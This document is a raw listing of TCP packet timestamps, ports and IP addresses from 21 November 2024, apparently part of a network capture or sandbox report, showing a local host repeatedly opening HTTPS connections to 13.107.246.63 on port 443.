Nov 21, 2024 22:10:14.828957081 CET	443	49867	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:14.832513094 CET	443	49863	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:14.832680941 CET	443	49863	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:14.832756042 CET	49863	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:14.832847118 CET	49863	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:14.832847118 CET	49863	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:14.832892895 CET	443	49863	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:14.832926989 CET	443	49863	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:14.834798098 CET	49868	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:14.834827900 CET	443	49868	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:14.834939957 CET	49868	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:14.835051060 CET	49868	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:14.835062981 CET	443	49868	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:14.855942011 CET	443	49861	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:14.856021881 CET	443	49861	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:14.856133938 CET	49861	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:14.856179953 CET	49861	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:14.856179953 CET	49861	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:14.856209040 CET	443	49861	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:14.856232882 CET	443	49861	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:14.858184099 CET	49869	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:14.858273983 CET	443	49869	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:14.858344078 CET	49869	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:14.858486891 CET	49869	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:14.858521938 CET	443	49869	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:15.177351952 CET	443	49865	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:15.177526951 CET	443	49865	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:15.177592993 CET	49865	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:15.177861929 CET	49865	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:15.177896023 CET	443	49865	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:15.177911997 CET	49865	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:15.177918911 CET	443	49865	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:15.180351973 CET	49870	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:15.180398941 CET	443	49870	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:15.180469990 CET	49870	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:15.180830002 CET	49870	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:15.180855036 CET	443	49870	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:16.621368885 CET	443	49866	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:16.621855974 CET	49866	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:16.621879101 CET	443	49866	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:16.622296095 CET	49866	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:16.622313976 CET	443	49866	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:16.685940981 CET	443	49867	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:16.686362982 CET	49867	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:16.686394930 CET	443	49867	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:16.686785936 CET	49867	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:16.686794043 CET	443	49867	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:16.709065914 CET	443	49868	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:16.709503889 CET	49868	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:16.709532976 CET	443	49868	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:16.709943056 CET	49868	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:16.709948063 CET	443	49868	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:16.738636017 CET	443	49869	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:16.739061117 CET	49869	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:16.739121914 CET	443	49869	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:16.739537954 CET	49869	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:16.739552021 CET	443	49869	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:16.968307972 CET	443	49870	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:16.974482059 CET	49870	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:16.974503040 CET	443	49870	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:16.975039959 CET	49870	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:16.975049019 CET	443	49870	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.068432093 CET	443	49866	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.068531990 CET	443	49866	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.068593025 CET	49866	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.068815947 CET	49866	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.068840027 CET	443	49866	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.068849087 CET	49866	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.068854094 CET	443	49866	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.071494102 CET	49871	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.071593046 CET	443	49871	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.071675062 CET	49871	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.071834087 CET	49871	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.071857929 CET	443	49871	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.131022930 CET	443	49867	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.131092072 CET	443	49867	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.131243944 CET	49867	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.131279945 CET	49867	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.131279945 CET	49867	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.131297112 CET	443	49867	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.131305933 CET	443	49867	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.133625031 CET	49872	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.133641005 CET	443	49872	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.133794069 CET	49872	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.133903027 CET	49872	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.133912086 CET	443	49872	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.153686047 CET	443	49868	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.153918982 CET	443	49868	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.153970003 CET	49868	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.154000044 CET	49868	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.154016018 CET	443	49868	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.154023886 CET	49868	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.154031038 CET	443	49868	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.156172037 CET	49873	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.156210899 CET	443	49873	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.156263113 CET	49873	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.156407118 CET	49873	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.156419992 CET	443	49873	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.181442976 CET	443	49869	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.181622028 CET	443	49869	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.181700945 CET	49869	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.181786060 CET	49869	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.181786060 CET	49869	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.181832075 CET	443	49869	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.181865931 CET	443	49869	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.184124947 CET	49874	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.184139013 CET	443	49874	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.184432983 CET	49874	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.184604883 CET	49874	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.184617043 CET	443	49874	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.427210093 CET	443	49870	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.427398920 CET	443	49870	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.427552938 CET	49870	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.427584887 CET	49870	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.427603006 CET	443	49870	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.427612066 CET	49870	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.427618027 CET	443	49870	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.429955006 CET	49875	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.429986954 CET	443	49875	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:17.430125952 CET	49875	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.430269957 CET	49875	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:17.430284977 CET	443	49875	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:18.938905001 CET	443	49871	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:18.939655066 CET	49871	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:18.939716101 CET	443	49871	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:18.940571070 CET	49871	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:18.940586090 CET	443	49871	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:18.984230995 CET	443	49872	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:18.984654903 CET	49872	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:18.984678030 CET	443	49872	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:18.985162973 CET	49872	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:18.985168934 CET	443	49872	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.000180006 CET	443	49873	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.000694990 CET	49873	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.000715017 CET	443	49873	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.001126051 CET	49873	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.001131058 CET	443	49873	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.039588928 CET	443	49874	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.040075064 CET	49874	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.040096045 CET	443	49874	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.040501118 CET	49874	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.040505886 CET	443	49874	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.216420889 CET	443	49875	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.216943026 CET	49875	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.216960907 CET	443	49875	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.217391968 CET	49875	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.217397928 CET	443	49875	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.392740965 CET	443	49871	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.392821074 CET	443	49871	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.392923117 CET	49871	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.395488977 CET	49871	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.395531893 CET	443	49871	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.395576954 CET	49871	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.395602942 CET	443	49871	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.398890018 CET	49876	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.398962021 CET	443	49876	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.399039984 CET	49876	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.399177074 CET	49876	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.399204969 CET	443	49876	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.437736988 CET	443	49872	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.437802076 CET	443	49872	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.437968969 CET	49872	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.437999010 CET	49872	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.438014030 CET	443	49872	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.438023090 CET	49872	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.438028097 CET	443	49872	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.440511942 CET	49877	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.440545082 CET	443	49877	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.440820932 CET	49877	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.440958977 CET	49877	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.440965891 CET	443	49877	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.444410086 CET	443	49873	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.444572926 CET	443	49873	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.444771051 CET	49873	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.444816113 CET	49873	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.444834948 CET	443	49873	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.444850922 CET	49873	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.444855928 CET	443	49873	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.447107077 CET	49878	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.447148085 CET	443	49878	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.447228909 CET	49878	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.447371006 CET	49878	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.447400093 CET	443	49878	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.500116110 CET	443	49874	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.500190020 CET	443	49874	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.500238895 CET	49874	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.500394106 CET	49874	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.500397921 CET	443	49874	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.500407934 CET	49874	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.500411034 CET	443	49874	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.504729033 CET	49879	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.504765034 CET	443	49879	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.504859924 CET	49879	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.505064011 CET	49879	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.505074024 CET	443	49879	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.661948919 CET	443	49875	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.662034988 CET	443	49875	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.662081957 CET	49875	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.662256956 CET	49875	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.662281036 CET	443	49875	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.662295103 CET	49875	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.662301064 CET	443	49875	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.665057898 CET	49880	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.665108919 CET	443	49880	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:19.665174007 CET	49880	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.665323019 CET	49880	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:19.665348053 CET	443	49880	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.121231079 CET	443	49876	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.162998915 CET	443	49877	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.166440010 CET	49876	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.213432074 CET	49877	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.292516947 CET	443	49879	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.303303957 CET	443	49878	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.338284016 CET	49879	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.343108892 CET	49878	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.343173027 CET	443	49878	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.343704939 CET	49878	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.343718052 CET	443	49878	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.344038010 CET	49876	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.344064951 CET	443	49876	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.344548941 CET	49876	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.344558954 CET	443	49876	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.345117092 CET	49877	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.345124960 CET	443	49877	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.345587969 CET	49877	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.345592976 CET	443	49877	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.347062111 CET	49879	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.347067118 CET	443	49879	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.347496986 CET	49879	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.347501040 CET	443	49879	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.382405996 CET	443	49880	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.383841038 CET	49880	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.383919001 CET	443	49880	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.388799906 CET	49880	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.388814926 CET	443	49880	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.660831928 CET	443	49876	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.660990000 CET	443	49876	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.661088943 CET	49876	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.661164045 CET	49876	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.661164045 CET	49876	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.661184072 CET	443	49876	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.661195040 CET	443	49876	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.661464930 CET	443	49877	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.661533117 CET	443	49877	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.661616087 CET	49877	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.661721945 CET	49877	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.661735058 CET	443	49877	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.661756992 CET	49877	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.661762953 CET	443	49877	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.664640903 CET	49881	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.664738894 CET	443	49881	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.664815903 CET	49881	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.664863110 CET	49882	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.664944887 CET	443	49882	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.665062904 CET	49881	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.665091038 CET	49882	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.665098906 CET	443	49881	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.665292978 CET	49882	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.665321112 CET	443	49882	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.734947920 CET	443	49879	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.735106945 CET	443	49879	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.735193014 CET	49879	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.735235929 CET	49879	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.735248089 CET	443	49879	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.735275030 CET	49879	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.735280991 CET	443	49879	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.737740993 CET	49883	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.737807035 CET	443	49883	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.737890959 CET	49883	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.738020897 CET	49883	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.738053083 CET	443	49883	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.757432938 CET	443	49878	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.757590055 CET	443	49878	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.757647038 CET	49878	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.757674932 CET	49878	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.757684946 CET	443	49878	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.757695913 CET	49878	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.757700920 CET	443	49878	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.759895086 CET	49884	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.759943008 CET	443	49884	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.760106087 CET	49884	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.760271072 CET	49884	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.760289907 CET	443	49884	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.901247025 CET	443	49880	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.901340008 CET	443	49880	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.901388884 CET	49880	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.902033091 CET	49880	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.902065992 CET	443	49880	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.902092934 CET	49880	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.902108908 CET	443	49880	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.918531895 CET	49885	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.918575048 CET	443	49885	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:21.918656111 CET	49885	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.919504881 CET	49885	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:21.919523954 CET	443	49885	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.447087049 CET	443	49882	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.447714090 CET	49882	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.447793007 CET	443	49882	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.448467016 CET	49882	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.448483944 CET	443	49882	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.460248947 CET	443	49881	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.460592031 CET	49881	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.460656881 CET	443	49881	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.460993052 CET	49881	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.461009026 CET	443	49881	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.570780993 CET	443	49883	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.571193933 CET	49883	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.571240902 CET	443	49883	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.571611881 CET	49883	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.571624994 CET	443	49883	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.631664038 CET	443	49884	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.632076025 CET	49884	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.632162094 CET	443	49884	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.632555962 CET	49884	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.632589102 CET	443	49884	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.723382950 CET	443	49885	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.764282942 CET	49885	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.764314890 CET	443	49885	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.764811993 CET	49885	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.764817953 CET	443	49885	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.893026114 CET	443	49882	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.893213034 CET	443	49882	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.894767046 CET	49882	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.895139933 CET	49882	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.895173073 CET	443	49882	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.895222902 CET	49882	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.895231009 CET	443	49882	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.905287027 CET	443	49881	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.905365944 CET	443	49881	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.905420065 CET	49881	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.964358091 CET	49886	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.964477062 CET	443	49886	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.964601040 CET	49886	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.968316078 CET	49886	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.968357086 CET	443	49886	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.976408005 CET	49881	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.976447105 CET	443	49881	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:23.976464987 CET	49881	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:23.976474047 CET	443	49881	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.017816067 CET	443	49883	13.107.246.63	192.168.2.4
